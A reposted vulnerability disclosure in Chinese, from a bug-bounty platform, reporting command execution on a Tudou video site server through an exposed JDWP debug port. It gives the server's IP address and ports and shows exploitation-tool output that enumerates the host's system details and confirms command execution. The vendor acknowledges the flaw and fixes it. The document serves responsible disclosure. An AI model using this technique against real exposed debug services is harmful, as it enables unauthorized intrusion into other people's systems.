土豆网某服务器存在命令执行

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-05-03: 细节已通知厂商并且等待厂商处理中
2016-05-03: 厂商已经确认,细节仅向厂商公开
2016-05-13: 细节向核心白帽子及相关领域专家公开
2016-05-23: 细节向普通白帽子公开
2016-06-02: 细节向实习白帽子公开
2016-06-17: 细节向公众公开

简要描述:

土豆网某服务器存在命令执行

详细说明:



code 区域
http://114.80.121.110:8990/login.do





土豆网公用模板集中管理平台





端口开放8000即jdwp服务,存在JDWP命令执行,但无法执行



端口9998可执行







漏洞证明:

 

code 区域
[+] Targeting '114.80.121.110:9998'
[+] Reading settings for 'Java HotSpot(TM) Server VM - 1.6.0_03'
[+] Found Runtime title: id=7cf
[+] Found Runtime.getRuntime(): id=aab58e8
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'
[+] Received matching event from thread 0x15af
[+] Found Java Virtual Machine specification vendor 'Sun Microsystems Inc.'
[+] Found Java Runtime Environment specification name 'Java Platform API Specifi
cation'
[+] Found Path of extension directory or directories '/usr/java/jdk1.6.0_03/jre/
lib/ext:/usr/java/packages/lib/ext'
[+] Found Java Runtime Environment specification vendor 'Sun Microsystems Inc.'
[+] Found Java Virtual Machine specification version '1.0'
[+] Found Operating system name 'Linux'
[+] Found Default temp file path '/home/istat/apache-tomcat-6.0.18/temp'
[+] Found User's current working directory '/home/istat'
[+] Found Java installation directory '/usr/java/jdk1.6.0_03/jre'
[+] Found User's account name 'istat'
[+] Found Java Virtual Machine implementation vendor 'Sun Microsystems Inc.'
[+] Found Java Runtime Environment vendor 'Sun Microsystems Inc.'
[+] Found Path separator ':'
[+] Found Java vendor URL 'http://java.sun.com/'
[+] Found Java title path ':/home/istat/apache-tomcat-6.0.18/bin/bootstrap.jar'
[+] Found Java Runtime Environment specification version '1.6'
[+] Found Operating system version '2.6.18-371.8.1.el5'
[+] Found Operating system architecture 'i386'
[+] Found Java Runtime Environment version '1.6.0_03'
[+] Found Java Virtual Machine implementation version '1.6.0_03-b05'
[+] Found Java Virtual Machine specification name 'Java Virtual Machine Specific
ation'
[+] Found File separator '/'
[-] java.compiler: Unexpected returned type: expecting String
[+] Found Java title format version number '50.0'
[+] Found List of paths to search when loading libraries '/usr/java/jdk1.6.0_03/
jre/lib/i386/server:/usr/java/jdk1.6.0_03/jre/lib/i386:/usr/java/jdk1.6.0_03/jre
/../lib/i386:/usr/java/packages/lib/i386:/lib:/usr/lib'
[+] Found Java Virtual Machine implementation name 'Java HotSpot(TM) Server VM'
[+] Found User's home directory '/home/istat'
[!] Command successfully executed





就不弹shell了吧

修复方案:

补丁

版权声明:转载请注明来源 Aasron@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2016-05-03 15:38

厂商回复:

感谢 Aasron! 该问题我们已经确认,并联系相关人员及时进行修复了,多谢对土豆安全的关注!

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。

百度收录:百度未收录『点击提交』

本文链接:土豆网某服务器存在命令执行 - https://www.15qq.cn/wooyun/690.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知